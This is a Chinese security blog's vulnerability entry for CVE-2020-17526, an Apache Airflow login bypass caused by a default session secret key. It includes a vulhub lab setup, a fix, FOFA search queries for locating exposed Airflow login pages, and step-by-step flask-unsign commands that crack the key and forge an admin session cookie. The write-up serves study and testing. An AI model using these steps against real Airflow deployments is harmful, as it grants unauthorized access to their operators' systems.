某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • Web应用程序

    • 74cms

    • Alibaba Druid

    • Alibaba Nacos

    • Apache Airflow

      • CVE-2020-17526(未授权访问)
        • 1)漏洞信息
        • 2)漏洞环境
        • 3)漏洞复现-手工
        • 4)漏洞复现-vulcat
    • GoCD

    • Jboss

    • jenkins

    • joomla

    • thinkphp

    • vmware

    • weblogic

  • 云漏洞库

  • 漏洞库
  • Web应用程序
  • Apache Airflow
clincat
2023-03-17
目录

CVE-2020-17526(未授权访问)

# 💛 Apache Airflow 默认密钥导致的权限绕过

# 1)漏洞信息

漏洞名称 受影响组件 漏洞类型 漏洞编号
Apache Airflow未授权访问

Apache Airflow默认密钥漏洞
ApacheAirflow (opens new window) 未授权访问 CVE-2020-17526 (opens new window)
漏洞简介
Apache Airflow是一款开源的,分布式任务调度框架。
默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定webserver.authenticate=True来开启认证。

在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
参考链接
  1. https://vulhub.org/#/environments/airflow/CVE-2020-17526/ (opens new window)
补丁及修复方案
  1. 修改[webserver] secret_key默认配置(修改默认密钥)
  2. 更新至最新版本:https://github.com/apache/airflow (opens new window)
网络空间测绘
FOFA:title="Airflow - Login"
FOFA:body="<h1 class=\"text-center login-title\">Sign in to Airflow"
FOFA:icon_hash="-1625254865"

# 2)漏洞环境

使用vulhub (opens new window)搭建漏洞环境

git clone https://github.com/vulhub/vulhub
cd vulhub/airflow/CVE-2020-17526
docker-compose up -d
1
2
3

启动容器后,访问8080端口即可看到Airflow登录页面

# 3)漏洞复现-手工

开启 BurpSuite 和代理,刷新登录页面,查看Response

可以看到应用程序返回了Set-Cookie

运行pip安装辅助工具flask-unsign

# !注意!我们需要的是命令行工具
pip3 install flask-unsign           # 这个是安装源代码
pip3 install flask-unsign[wordlist] # 这个是安装命令行工具

# 卸载命令行工具
pip3 uninstall flask-unsign-wordlist
1
2
3
4
5
6

安装完成之后,运行flask-unsign

如果看到工具提示信息,说明安装成功

flask-unsign
1

运行以下命令,将Set-Cookie中的session参数传递给flask-unsign

flask-unsign会暴破session的加密密钥

flask-unsign -u -c <你的SESSION>

# 例如
flask-unsign -u -c eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiNzBhZmJhOGQ5ZmI2MDk5NGI2ZTk1YTkwZGUzYTBmZjE5ODA0YWY5YiJ9.ZAK0kQ.jSWDhcPF-n6f2V10PkCnNFUAekk
1
2
3
4

如果暴破成功,会返回一个字符串

此处发现session的加密密钥为:temporary_key

获得密钥之后,运行以下命令,伪造一个新的session,以便登录Airflow

flask-unsign -s --secret <你的密钥> -c "{'user_id': '1', '_fresh': False, '_permanent': True}"

# 例如
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
1
2
3
4

获得伪造的session之后,将其添加到Cookie当中

Cookie: session=你伪造的SESSION
1

然后刷新页面,成功进入后台

# 4)漏洞复现-vulcat

python3 vulcat.py -u <URL> -v cve-2020-17526
1

如图,vulcat返回了默认密钥 以及 伪造的session

将伪造的session添加到Cookie

刷新页面,成功进入后台

编辑 (opens new window)
Alibaba Nacos未授权访问
CVE-2021-43287(任意文件读取)

← Alibaba Nacos未授权访问 CVE-2021-43287(任意文件读取)→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式